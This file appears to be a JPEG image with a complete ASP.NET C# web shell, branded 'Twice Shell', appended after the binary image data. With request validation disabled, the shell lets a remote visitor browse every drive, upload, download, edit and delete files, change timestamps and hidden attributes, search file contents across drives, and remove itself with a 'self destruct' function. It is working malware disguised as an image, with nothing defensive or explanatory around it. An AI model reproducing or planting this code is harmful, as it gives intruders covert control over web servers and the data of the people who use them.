����JFIFHH��C��C��xD��   ��, !"#$ 123�� ��8 !1"A#2Qa�����q$346������ ?|F��=5=�{����O .���=�8�������+��m��8�ᬹ��7B+��E�<�9�!�󵰑@��-���ڭZL�0*)؍�u|�`�K�, �����$I�y7)m���b����$+��O�z�����t���S���3:�L�����?����bV�f������"�!6� rv�Z��jsB�]�C!��g�ej���"G@����:���XTV���,�VSݯ��g�YZF�VYL@B�*���$�ذ��{�e⯨�����I�%st ���m�t��n�D:>sj�d[{�Vʲ[d��>�,����m�H�0�ٱ����8�ь���K�;�9E�v0��B����`�ckԺ�-�bY �:!-���ɴ���.��˻+e��4��ѣG�F�F��?���_ 1I'� �'��u�H�'`?�u���k���_��"��Q�r:q��Y8C���['GA g2+5���m�h���!�S��'d����z�3c�Z��"9v�E���EfO=��ؕT;4hRBN��Z5���Ֆ����Hl�,M/��ē:��e5�� ��eL����ﴏ���o�ܿ�C��Ф's|y���!OyboKo�2���tg��{~,���B"�!o���<�������I#�zDAz՞.�,r�^��PDj% �7�� 5k[Nժ�؏~A'�$E}��P��>��l���xמ��S{��+���Ϗ�\����U4�������}��m��|�v+�uF6Y���_������+L-[j��=0ίr���?�Y'EE�,f5e���D�zn��y�p�3�͛R��a���4��U�#fQ�j�����a2�P�8�`�v��Q�q�w��oK�յmY�ڳ1>�J�%�!����h� �������cņ�s���xth��u(�̎�6ee%YH�A}���׮���ѣѣG�F�g��`q���VΝq������Z�FyT� �pi�����;|��"�o�|zԽn*5'�;���ef���@X���|��nF�.��rTjV��bź�CeR��U�쨻��fU� y�+} \�z�r=����u��]��9��y�f�,Q��O��A�]�8@�D�E�� �z��ī��,�������V���mA�q,H�#(C��w6:���{5�'�j���gXl#�d+1��R���� �3�?�C�s�}��Y�c>������^u���A á�l:ڪA�tp%5>���*Çu���>J.o����Ga»I�\�&NƢò�g�w�jij�w�pԯL���E�.,"�t.�r�IT�]�� �8iP~�Z�@����p]g��{��7�X�&�g&m>���Me��k�65_�\f� �+9��v�ˡ��:��v��`�k��,�zq��<���/pI2H���*�E� ���d�z�e*b7g�j)f*���8�w�Hb�!,O0�]����^�<�f ���|͐K!l�t��fl&vC� �fhE ^I�^J�K��f�W�$��׎��,�����,���F�u�-hf�K�2ؖ�2���e�d�p<�p��0#R�����z4h�h��Ѩ]�N4=���P��Է����E������v���rD�ҥ��� ���O�5�K#�k��^�ɲ�RR�0��v?�s�_�xs�Rd��3J��,A#��r��.v N�?��� �w›�섓��������Y���`����i��;���~�S1�-�Ȭ(�?��-.���ZT�I*�}�:*�/#12cB��$�;��`����?����� n�u~�����|��9_q���@d�l��_A��(`K�c�9�;��]]�},��ƌdhI��5�>>�n:��2y�U�I-GId��!dG��Ŗ��3�Ҥ�#�(� ��_\�[a� &?%���b�(��7�Ї2He^܀Ȋ�bH�c#J�I^⼗���'-������{�_��R�d��e��*���Ƨ%�e�Ɇ���uP����o�$]U��k�(���n��T��^�)����p q1�AA�e��I�#�&�G'V[�c������I�a �%ӀF��hW�l|�{���Nbx������fx�����iSuL�.rܾf'}�`U�|Y}�\��(!(��6��r�?��H�DEb8� �V#R\�X׼�J}�?9�M���i��3N��Gm�kP��V&��*��T�EBY����|�e��Zb��h��ѯ�,���m� uU X`� @ib���+A����i���&g��F��II;<�O��N���G{̜�9&���ws*�{��h����ミ4��Z�֥.K qQYNj��ؕ;b�{GB�a3R��JA4h�/׍#e.&Vx�mRc��S��0�3[ �ѵ�ɼ�Ĕ��)�#�l�G�!;�$�rv� ��[>H������`��>*Yf��u��s5�.*)J������.����Ѯ<���R�n�Z�ct��6g�r�XՆ�bb��^W�7�=�,0�$܅*ʞ\F�˘lTy������U\E;:���<���#�V�rv�EG��ٚC�* �c�E�q�⎟܇�������c��Cx�>�j��� /���_��"G�*m�X�V+��̝A�_��� ����"ȑ�|�!%N�"$Q�dB�y��;뾈�[���̥رK$����f���+�7(�U0� �RFFB۷�1�6�޻�}�R��� ��_�w�(�#\��u�{k,3Y�ƞ�]�K��mMܵ�"�:>���N���V�(恤�KQ��/.�}�^8��8ݐ(`���5LejV�Z(�Y�9�H��ߑ��< ���r�|o�'�{�nx�"?���Ly7��?ХF�������X�ڵ��_�G��̂��EU�!@PY���<�$��I������R�ߎì�,�YFVv��D����ꬠR6RF�[C�Z@��ѣѣQw��tL^w��4�G�zx�%�E���*�X�sRE�NuӉ���R������;�8c�h#��Wx��Z�@�D�у�K��:!#��CO^��6C*-����4sGE"�0�ѕ�3��,�e�o\^Z�y�k םth���l��ͮ1���*��+^Ջ�+K��6�\�����������R+_�zF�kw.��D�XӶ֑Q+׬��b��}��^�^DXٔ����3�\F&�%v�H�{%�X�J;�6ݘ�gh���| �אS�WC�ĝ?Z3�����y���w�\˗p��h�f��ΰ�S���&�����5j79Le���\�g��W& my��D`�l�[�1�h���.�n�s�?#�U1y�x����,����c4��c�}���&Ha�+���4l�7+*Q��~�=���r� �漷�w�h�]@g���*ب�y��->��?sY6z��j�\#�F��'�a�ĐY�)VRJK �6�netu�G�������q��OC'��V�W���V�̦�ĜG[���h��H�I1Ue�{�仼F��q+�u�#}^�]|�9����>=7��g������B���v��V��2aϑb��1f/��Y��w�ğ$ᅮ��j�C���k��h��s������֌��Y��*�G��Iwc�x�(r^=�D�! �r[���Ҡ���Nԣ5T0��`�7� ?��O�O�k{�igV�����]���j���JGQ���ǯ�(�r���9Z�`t)X�p/�Ӈ�/CV�V�A�dcjWU��)Y NJ9ƪB���fw����.6^���-��;+��RefG��Br��R�BKщ�F �|�1q/j��_�̦�wq�Su�|g,�X�a4tR�y�7� ��BD�ý�2t���a*q��$���d2:8��RF$�.�F@'���k�}q���f��K����F��$��QB� ����%��>�Nzq靨�?!���Əm�b�m�[�4���ѫkQ��������5$��I�ؚ�:�ׂRq�JҺ����t')a�֯u�g$0�xR��o��H���1.Fʭ�܎j��6 ��݇�T��ӭ��ܮW�4t�~߮Q�� ���MT.]S=�+�`@��Y��Ɍ5δ×:��2���)���b8�:�'qi�*Fe,�K�a�N,ʼn��Nזd��,�x��@�- s��rId��b��J�L�,�F�"��-#o���M�����l,���r��t�h��B���I���QV�*h��$}�3�h���گ_�چX�0 @�ee@W�.PGH1��N�y�n����bt�N�̮�o�gNM�$Nq��w\��7�|�����{��3Q>����(��ʯX�O;��E_�tU�N����ɈCkұ����9�Ѣ֜���e��Ou��&3��hԅ(Kq�7�'��6�NC�k�!o�0�˖�)d�՟� �qmp5��5ڂ;9+� ���Kӱ��m8�:[E� , ��jj�� ��������%�a���[ ����-j�X�9�3��ѻ�1�{)�(�^1��Rw'��;��5�� ��h!�����{΁>?��Wsox!�j����<�bf�����V@����i5rG�V��؋*ָʈ^��F�#ȁax���pyB�8؍o�U�jgj��%�����,�r���c/SeB�%k�[��fR?d�Y$VFe*���k�ݼ;�7��1��ύ�f\���g�h֗蓡��yM!*�ϼ�4�� ��C�8��$C�sx��yKtb��]��^I�Vr�9;�Yk�dtm�^�+�U]m�����GSE�項ʒ+flQ���6��Ur��0!���MR~O��;?���j�Ǟ5�57p��'o|�R�?[DuZ�������a�@��FaF���3���f��Y��rbI;6ܷ�o$�m��):"Z= +W�S��b��#��:�қ�Ŏ�1��(�2�ѓ#�L1�$g�����i����14^K?�GJ����-��O�>"����R���S�o�����y�xY��mG��1%~���M;U�V� p���(�D��NE�ZS�� jK:N�eI�To��0P��nHI򤁵9�W�s}9Ϥ!�7Zaz~j�R��mt�,��Ҽ-:��K�)Q��%�dǦ��8k��=4z4h�h� ��1��ws��\~;��ƫ��j5��^�I�ڵ���b��D��ZG�h��bx�C,�:GH]�GX�m� � ��e��HK����㰸��G+v� U��KbԫK���c�U�� ��{��=��{X�r�܂�S4T� �l�@cUQ�Om����'}���Ԃ�]s��s� .�B �QD���1�;� C8 �*�k�~�zm����1�5�U��w7����{�D<�� � �,��4$ƹ;^��vO��&�u��V#iR��Mgri|� ��8(6+�M�A��f��F����7��@����jC{��x��z�M &(d��I�Cr��'�.x�o����>� ��/���% "�����\�74�F8��֛��c�W�c�9Qe�D�7P�$l����ԕe?b s������?q^񤎫k���w;�v�����+w��pJV�t����#�F�hZАQĝѴN?��=�� �\ q�b���m�w8rp;j�z鑫�����Q���=E�,|ӿ~���_�(ڠ�}���+�x�FU����tǞ��swG�F�F�����_��� ���7�k�������K[���$�?����"�4��a���Ymu������h�����+���'�j{�1שg��[l��>^�utW܃ }� �����G�YH`���}��4���f�H������~f~�M��Z�����"'�+� �璘GkpMN^HIe-��J��Jҫ�lAE�[��f�-�f�M>ə�F�m�;o��^IY �Ic��4��Ge,��B5�}�s������A �>��<[ݩV\���G�Y��E�Y�V���!���(�SXN/i���}�.�~���1%��)p{k2�)2�ߐ ���ju-,�>���0��2o����\�S�Dk����}��հtg�%�K�����=C�7�� l|3�2w��+^�d��Z8�i�RH�2ʡ ��|�h�h��ѣѣQc����/h>�rI�K������~��c,��f�>c�le"i�Mfb��g�Л��Gv������P�D˱d� �5t?I;lv!��oP�Ҿ��nz);~�?C��]Ǵ�(�u F��$�bt*�rm��峹��P�(�Z\�-�1BT�{�j�A��))H��f��}����&�뵣/[�w�0e�*�j"A)*1����B�)<���ܩק3_�~rT_��\Sy������8�����-���o���1iW[��^H���N���] �����_T�KݡPr�:�42�:������A�JC��s/�O��w�2�<����i��幂]*�5�Q=[#$�v��W ϒ=�B PB��<ˬ�e��PI[��ʑ���y ��ɹ���H���[o�m�9��Y�����Q^ZY*Uz{+�g5m���ԧrh�ن�a9���L�( �~��Q��=4z4kL{�곸o�k뵯Q���+�4��ޣ��9�)�����.RMH���z�>fb'R���JԳʐİI�I*/%(�� Nʣr7b�N^��r�_���'h�� =^�}����_��ˈ$��o�ۏ�r�F��߂�*�D��|�֊��޵�� v,�&Տ��1K��^+5�X�ډ�mc���z8��\�,)*V�X�Vx�����=�e�g U��?�� �PYv��h&-�J�5?�[Z�_��c-X����7(�%/�+���['7���6v�RZM���{e�Ajޱ�J>;�aZ�?"8�(��"�O�[�5f����u>��|��x�e�nc>J~I�fS[-�ʺ�Z\������Q����,�{��"��w(_����r�SF|~�]�)"��<���˜�9��aѐ�&7������*8�f��൫x���L��W������j�a�]����Km7���QdI%4Ҽ��%���$�Kn[�$�����ۣ���s�u,u�'A����{�"EE�$��3�b�-�h��c��Q��6��:�]�H�4�,h���'�ٜ���'v x����OQ��Ħ�D5���+�T�'��̀(�B�و ���e����ߍ�����C�����FvF�z{�s�� 0�X5A\��A�ʽGxY��5�����uu_K.��ZYf�>�{�4�ʛ.�Ƒ��2�nA�;�zw�-�WSD�-f���9�x���5����� �����hʐWq =�� ���WS��i��^�1�T��o�h�_���eO�K�����$�;�c�ܔ�d���J��K^+~��vw����x4��x0����'P�����|���nY���{��`�yd���������d�[cq~��;����c[��XQ�y���aj�~�͓i�12kZ��E@�q)�]-�?.sؠXG,���a3����2l�N���,JW�V%���A~��Q#wN�� �l�P}>w�����o��� <%@ Page Language="C#" ValidateRequest="false" Debug="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Security.Cryptography" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.Linq" %> <%@ Import Namespace="System.Text.RegularExpressions" %> <% // --- LOGIC BLOCK --- string errorMsg = ""; string path = Request["path"]; string homePath = "."; try { homePath = Server.MapPath("."); } catch { homePath = "C:\\"; } if (string.IsNullOrEmpty(path)) path = homePath; // Items Per Page (NEW: flexible 50/100/200/500/ALL) int ITEMS_PER_PAGE = 50; string ippStr = Request["ipp"] ?? "50"; bool isAll = (ippStr.ToLower() == "all"); if (isAll) { ITEMS_PER_PAGE = int.MaxValue; } else if (!int.TryParse(ippStr, out ITEMS_PER_PAGE)) { ITEMS_PER_PAGE = 50; } if (!isAll && ITEMS_PER_PAGE != 50 && ITEMS_PER_PAGE != 100 && ITEMS_PER_PAGE != 200 && ITEMS_PER_PAGE != 500) ITEMS_PER_PAGE = 50; string ippQs = (ITEMS_PER_PAGE == int.MaxValue) ? "&ipp=all" : (ITEMS_PER_PAGE != 50 ? "&ipp=" + ITEMS_PER_PAGE : ""); // Pagination & Search params int currentPage = 1; if (Request["page"] != null) int.TryParse(Request["page"], out currentPage); if (currentPage < 1) currentPage = 1; if (ITEMS_PER_PAGE == int.MaxValue) currentPage = 1; // force page 1 when showing ALL string searchQuery = Request["search"] ?? ""; // Deep Search params string deepSearchKeyword = Request["deepq"] ?? ""; string deepSearchMode = Request["deepmode"] ?? "filename"; bool isDeepSearch = !string.IsNullOrEmpty(Request["deepsearch"]); // Get filtered items DirectoryInfo dir = new DirectoryInfo(path); if (!dir.Exists) dir = new DirectoryInfo(Server.MapPath(".")); var directories = new List(); var files = new List(); int totalItems = 0; try { if (!string.IsNullOrEmpty(searchQuery)) { string searchLower = searchQuery.ToLower(); directories = dir.GetDirectories().Where(d => d.Name.ToLower().Contains(searchLower)).ToList(); files = dir.GetFiles().Where(f => f.Name.ToLower().Contains(searchLower)).ToList(); } else { directories = dir.GetDirectories().ToList(); files = dir.GetFiles().ToList(); } totalItems = directories.Count + files.Count; } catch { } var allItems = directories.Cast().Concat(files.Cast()).ToList(); var pagedItems = allItems.Skip((currentPage - 1) * ITEMS_PER_PAGE).Take(ITEMS_PER_PAGE).ToList(); var pagedDirs = pagedItems.OfType().ToList(); var pagedFiles = pagedItems.OfType().ToList(); if (Session["twice_msg"] != null) { errorMsg = Session["twice_msg"].ToString(); Session.Remove("twice_msg"); } try { // --- SELF DESTRUCT (NEW) --- if (Request["selfdestruct"] != null) { string selfPath = Request.ServerVariables["SCRIPT_NAME"]; string physicalPath = Server.MapPath(selfPath); if (File.Exists(physicalPath)) { File.Delete(physicalPath); Response.Clear(); Response.Write("SELF DESTRUCT

SELF DESTRUCT COMPLETE

This shell has been permanently deleted from the server.

TWICE SHELL // ONE IN A MILLION

"); Response.End(); } } // --- MULTI DELETE (NEW) --- if (Request["multidelete"] != null && Request.Form["sel"] != null) { string[] selected = Request.Form.GetValues("sel"); int delCount = 0; StringBuilder sb = new StringBuilder(); sb.Append("[INFO] Multi-Delete Results:
"); foreach(string item in selected) { string target = Path.Combine(path, item); try { if (File.Exists(target)) { File.Delete(target); sb.Append("• Deleted File: " + item + "
"); delCount++; } else if (Directory.Exists(target)) { Directory.Delete(target, true); sb.Append("• Deleted Folder: " + item + "
"); delCount++; } } catch(Exception mex) { sb.Append("• Failed: " + item + " (" + mex.Message + ")
"); } } sb.Append("Total: " + delCount + " item(s) deleted."); Session["twice_msg"] = sb.ToString(); SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["delete"] != null) { string target = Path.Combine(path, Request["delete"]); if (File.Exists(target)) { File.Delete(target); Session["twice_msg"] = "[INFO] Deleted File: " + target; } else if (Directory.Exists(target)) { Directory.Delete(target, true); Session["twice_msg"] = "[INFO] Deleted Folder: " + target; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["rename"] != null && Request["newname"] != null) { string oldPath = Path.Combine(path, Request["rename"]); string newPath = Path.Combine(path, Request["newname"]); if(File.Exists(oldPath)) { File.Move(oldPath, newPath); Session["twice_msg"] = "[INFO] Renamed File"; } else if(Directory.Exists(oldPath)) { Directory.Move(oldPath, newPath); Session["twice_msg"] = "[INFO] Renamed Folder"; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["chtime"] != null && Request["newtime"] != null) { string target = Path.Combine(path, Request["chtime"]); DateTime dt = DateTime.Parse(Request["newtime"]); if(File.Exists(target)) File.SetLastWriteTime(target, dt); else if(Directory.Exists(target)) Directory.SetLastWriteTime(target, dt); Session["twice_msg"] = "[INFO] Timestamp Updated"; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["createfolder"] != null) { string newDir = Path.Combine(path, Request["createfolder"]); Directory.CreateDirectory(newDir); Session["twice_msg"] = "[INFO] Created Folder: " + newDir; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["createfile"] != null) { string fp = Path.Combine(path, Request["createfile"]); if(!File.Exists(fp)) { File.WriteAllText(fp, ""); Session["twice_msg"] = "[INFO] Created File: " + fp; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs + "&edit=" + HttpUtility.UrlEncode(fp)); } } if (Request["savefile"] != null) { File.WriteAllText(Request["savefile"], Request.Form["filecontent"]); errorMsg = "[INFO] Saved Content: " + Request["savefile"]; } if (Request.Files.Count > 0) { int count = 0; StringBuilder sb = new StringBuilder(); sb.Append("[INFO] Upload Successful:
"); for(int i=0; i 0) { string fileName = Path.GetFileName(file.FileName); string savePath = Path.Combine(path, fileName); file.SaveAs(savePath); sb.Append("• " + savePath + "
"); count++; } } if (count > 0) Session["twice_msg"] = sb.ToString(); else Session["twice_msg"] = "[WARN] No file content received."; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["download"] != null) { string fDown = Request["download"]; if (File.Exists(fDown)) { Response.Clear(); Response.ContentType = "application/octet-stream"; Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(fDown)); Response.WriteFile(fDown); Response.End(); } } if (Request["setattr"] != null) { string tFile = Path.Combine(path, Request["setattr"]); if (File.Exists(tFile) || Directory.Exists(tFile)) { FileAttributes att = FileAttributes.Normal; if(Request.Form["chk_r"] == "on") att |= FileAttributes.ReadOnly; if(Request.Form["chk_h"] == "on") att |= FileAttributes.Hidden; if(Request.Form["chk_a"] == "on") att |= FileAttributes.Archive; if(Request.Form["chk_s"] == "on") att |= FileAttributes.System; if (File.Exists(tFile)) File.SetAttributes(tFile, att); else if (Directory.Exists(tFile)) new DirectoryInfo(tFile).Attributes = att; Session["twice_msg"] = "[INFO] Attributes Updated"; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } } catch (Exception ex) { errorMsg = "Error: " + ex.Message; } %> Twice Shell
JIHYO NAYEON

TWICE

ONE IN A MILLION
<% if (!string.IsNullOrEmpty(errorMsg)) { %>
"><%= errorMsg %>
<% } %>
[DRIVES] <%= GetDriveButtons(path) %>
[ DRAG FILES HERE OR CLICK ]
|
[Folder]
|
[File]
|
<% if (ITEMS_PER_PAGE != 50) { %>"><% } %>
<% if (!string.IsNullOrEmpty(searchQuery)) { %> [Found: <%= totalItems %>] <% } %> | DEEP SEARCH | SELF DESTRUCT
<% // ==================== DEEP SEARCH MODE ==================== if (isDeepSearch) { List deepResults = new List(); TimeSpan elapsed = TimeSpan.Zero; if (!string.IsNullOrEmpty(deepSearchKeyword)) { DateTime startTime = DateTime.Now; deepResults = PerformDeepSearch(deepSearchKeyword, deepSearchMode); elapsed = DateTime.Now - startTime; } %> BACK TO BROWSER
DEEP SEARCH — SCAN ALL DRIVES
<% if (ITEMS_PER_PAGE != 50) { %>"><% } %>
<% if (!string.IsNullOrEmpty(deepSearchKeyword)) { %>
Results
<%= deepResults.Count %>
Scan Time
<%= elapsed.TotalSeconds.ToString("F2") %>s
Mode
<%= deepSearchMode == "content" ? "CONTENT" : "FILENAME" %>
Keyword
<%= HttpUtility.HtmlEncode(deepSearchKeyword) %>
<% if (deepResults.Count == 0) { %> <% } else { foreach (var r in deepResults) { string dirOnly = Path.GetDirectoryName(r.FullPath); %> <% } } %>
Drive Name Size Modified Actions
[ NO RESULTS FOUND FOR "<%= HttpUtility.HtmlEncode(deepSearchKeyword) %>" ]
<%= r.Drive %>
<%= HighlightKeyword(r.FileName, deepSearchKeyword) %>
<% if (!string.IsNullOrEmpty(r.Preview)) { %>
<%= HighlightKeyword(HttpUtility.HtmlEncode(r.Preview), deepSearchKeyword) %>
<% } %>
<%= FormatSize(r.Size) %> <%= r.LastModified.ToString("yy-MM-dd HH:mm") %> EDIT DL DIR
<% } %> <% } // ==================== NORMAL BROWSE MODE ==================== else { %>
PATH: <%= GetBreadcrumbs(path) %>
<% string editPath = Request["edit"]; if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) { string content = ""; try { content = File.ReadAllText(editPath); } catch { content = "Read Error"; } %>

[ EDITING: <%= Path.GetFileName(editPath) %> ]

<%= ippQs %>&page=<%= currentPage %>">

<%= ippQs %>&page=<%= currentPage %>" style="margin-left:10px;">[ CLOSE ]
<% } %>
<% foreach (DirectoryInfo d in pagedDirs) { %> <% } %> <% foreach (FileInfo f in pagedFiles) { %> <% } %> <% if (pagedItems.Count == 0) { %> <% } %>
Name Size Attr Date Action
[DIR] <%= d.Name %> - <%= GetAttributes(d.FullName) %> '); return false;"><%= d.LastWriteTime.ToString("yy-MM-dd HH:mm") %> REN ATTR DEL
[FILE] <%= f.Name %> <%= FormatSize(f.Length) %> <%= GetAttributes(f.FullName) %> '); return false;"><%= f.LastWriteTime.ToString("yy-MM-dd HH:mm") %> DL REN ATTR DEL
<% if (!string.IsNullOrEmpty(searchQuery)) { %> [ NO FILES FOUND MATCHING "<%= HttpUtility.HtmlEncode(searchQuery) %>" ] <% } else { %> [ EMPTY FOLDER ] <% } %>
<% if (totalItems > ITEMS_PER_PAGE) { %> <%= GetPagination(totalItems, currentPage, ITEMS_PER_PAGE, path, searchQuery, ITEMS_PER_PAGE) %> <% } %> <% } // end else (normal browse mode) %>